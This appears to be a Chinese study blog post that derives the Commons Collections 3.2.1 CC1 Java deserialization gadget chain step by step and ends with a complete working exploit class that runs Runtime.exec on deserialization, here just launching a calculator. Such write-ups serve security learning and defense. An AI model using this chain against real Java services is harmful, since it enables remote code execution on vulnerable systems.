学习的白日梦组长https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.999.0.0
环境
1.jkd8u65
下载地址:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
2.与oracle jdk对应版本的sun包
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/src/share/classes/sun
3.Commons Collections 3.2.1(版本高了可能就没漏洞了)
使用maven自动导包,在pom.xml里设置
依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
InvokerTransformer.transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这里就相当于使用反射来调用方法了,但是这里是使用的getClass(),所以要只能对一个对象使用
eg:
弹计算器
import org.apache.commons.collections.functors.InvokerTransformer;
import javax.xml.crypto.dsig.Transform;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);//要对一个实例化对象使用
}
}
这个就相当于是链子的最后面了
然后找哪里调用了transform()
TransformedMap
在TransformedMap.checkSetValue()中调用了transform()
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
实例化这个类
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);
这里的因为只对valueTransformer调用transform,所以keyTransformer的值可以设为空
然后再看哪里调用了checkSetValue()
AbstractInputCheckedMapDecorator
这个类是TransformedMap(上面的那个)的父类
在AbstractInputCheckedMapDecorator的MapEntry静态类中的setValue()调用了checkSetValue()
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表。
这个MapEntry类继承了AbstractMapEntryDecorator,而AbstractMapEntryDecorator又实现了Map.Entry接口
所以这里的setValue其实是Map.Entry接口类的一个方法,这样在遍历entry类的时候就可以执行这里的setValue()方法
eg:
import javax.xml.crypto.dsig.Transform;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");
// new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}
这样就可以弹出计算器了
所以只要有遍历数组的地方,调用了setValue(),我们就可以调用这条链
在看看有没有谁的readObject()里调用了setValue()
AnnotationInvocationHandler
在这个类的readObject()方法里调用了setValue()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看出,这里是对memberValues进行遍历
查看构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
这里我们可以控制memberValues参数,所以把上面构造的invokerTransformer替换上去就行
type参数的类型是继承了Annotation(注释)的类型
我们要实例化这个类,然后对这个类进行序列化和反序列化
要注意,这个类是default类,只能被这个包内的类和本类访问。

所以只能使用反射来实例化这个类
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
...
}
我们先用反射实例化这个类
import javax.xml.crypto.dsig.Transform;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");
// new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class []{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for (Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(runtime);
// }
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconst = annotation.getDeclaredConstructor(Class.class,Map.class);
annotationconst.setAccessible(true);
Object annotationInvocationHandler = annotationconst.newInstance(Override.class,transformedMap);
}
}
如果直接序列化反序列化的话会发现无法弹计算器。我们还需要解决几个问题
Runtime无法序列化
首先是Runtime这个类是无法序列化的,所以要使用反射,因为Class类是可以序列化的
public final class Class<T> implements java.io.Serializable,
GenericDeclaration,
Type,
AnnotatedElement {
...
}
正常使用反射执行Runtime的exec()
Class c = Runtime.class;
Method getruntimemethod = c.getMethod("getRuntime",null);
Runtime runtime =(Runtime) getruntimemethod.invoke(null,null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(runtime,"calc");
因为我们要利用commons-collections里面的类来执行这个链,所以要使用InvokerTransformer来执行反射
Class c = Runtime.class;
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
这里是先使用Class类的getMethod方法获取Runtime类的getRuntime方法,然后再使用Class类的invoke方法获取实例
最后再获取Runtime的exec方法并执行
这里可能会有点绕,因为这里是先获取Class类中的getMethod再来对Runtime类进行getMethod
我就会想为什么不能直接对Runtime类进行getMethod。
这样做的原因是因为在InvokerTransformer.transform中的代码是这样的
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} ...
}
而这个getClass()要对一个实例化的对象使用,又因为我们在目标环境中无法直接获取Runtime的对象,所以要这样先获取他的getRuntime静态方法,再
调用执行这个方法来获取Runtime实例
然后再执行exec方法来执行命令
这样就可以获得一个可以序列化的对象
这里可以使用ChainedTransformer.transform()来递归执行,可以让链子更简单
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这里可以看到ChainedTransformer.transform()可以把Transformer[]数组里,前一个transform()的结果调到下一个transform()里用
这里跟上面写的逻辑刚好一样

所以可以这样写
Transformer [] transforms = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);
注意这个Transformer要选对包
要通过if判断
在AnnotationInvocationHandler.readObject()里
如果要执行到setValue,要经过两个if
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
...
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
首先看第一个if
if (memberType != null)
从上面开始看
annotationType = AnnotationType.getInstance(type);//看方法名字,就是获取type的实例,这个type就是构造函数里的type参数
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取这个实例的成员
这个type就是构造函数里的那注释的类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
所以这里需要注释的类有成员,我们使用Target注释类,里面有个ElementType[] value()成员
package java.lang.annotation;
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}
然后我们要让memberValue.getKey()得到的值等于
Class<?> memberType = memberTypes.get(name)里的name
这样才能达成memberType != null
这里的memberValues就是TransformedMap.decorate(map,null,invokerTransformer);里的map
所以给map设键名为value
Map<Object, Object> map = new HashMap<>();
map.put("value", "xxxx");
再后面的if就是判断是否能够类型强转
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
这里的value就是那个map里键值对的值,一个是类,一个字符串,所以是肯定不能强转的
这样我们就能够通过重重if,最后调用到setValue方法
但是最后发现这里setValue我们是不可控制的
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)))
如果要成功执行命令,从上面知道,setValue的参数应该是一个Runtime实例。
ConstantTransformer
我们知道,这里最后是调用chainedTransformer.transform(),且参数值就是上面的setValue里的值
Transformer [] transforms = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
这里可以使用ConstantTransformer.transform()来获取我们想要的类
因为他的transform是我们传进去什么,他就传回来什么
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以只要我们实例化这个类为
new ConstantTransformer(Runtime.class)
这样调用ConstantTransformer.transform时就会返回一个Runtime.class
这样我们就不用考虑chainedTransformer.transform()传入的参数是什么了
所以Transformer数组为
Transformer [] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
POP
sun.reflect.annotation.AnnotationInvocationHandler.readObject()->
AbstractInputCheckedMapDecorator.setValue()->
TransformedMap.checkSetValue()->
ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->
Runtime.exec()
exp:
import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import javax.xml.crypto.dsig.Transform;
import java.lang.annotation.Annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer [] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
Map<Object, Object> map = new HashMap<>();
map.put("value", "xxx");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconst = annotation.getDeclaredConstructor(Class.class, Map.class);
annotationconst.setAccessible(true);
Object annotationInvocationHandler = annotationconst.newInstance(Target.class, transformedMap);
serialize(annotationInvocationHandler);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream oip = new ObjectInputStream(new FileInputStream(filename));
Object obj = oip.readObject();
return obj;
}
}
然后就可以欢乐的弹计算器了。
3940

被折叠的 条评论
为什么被折叠?



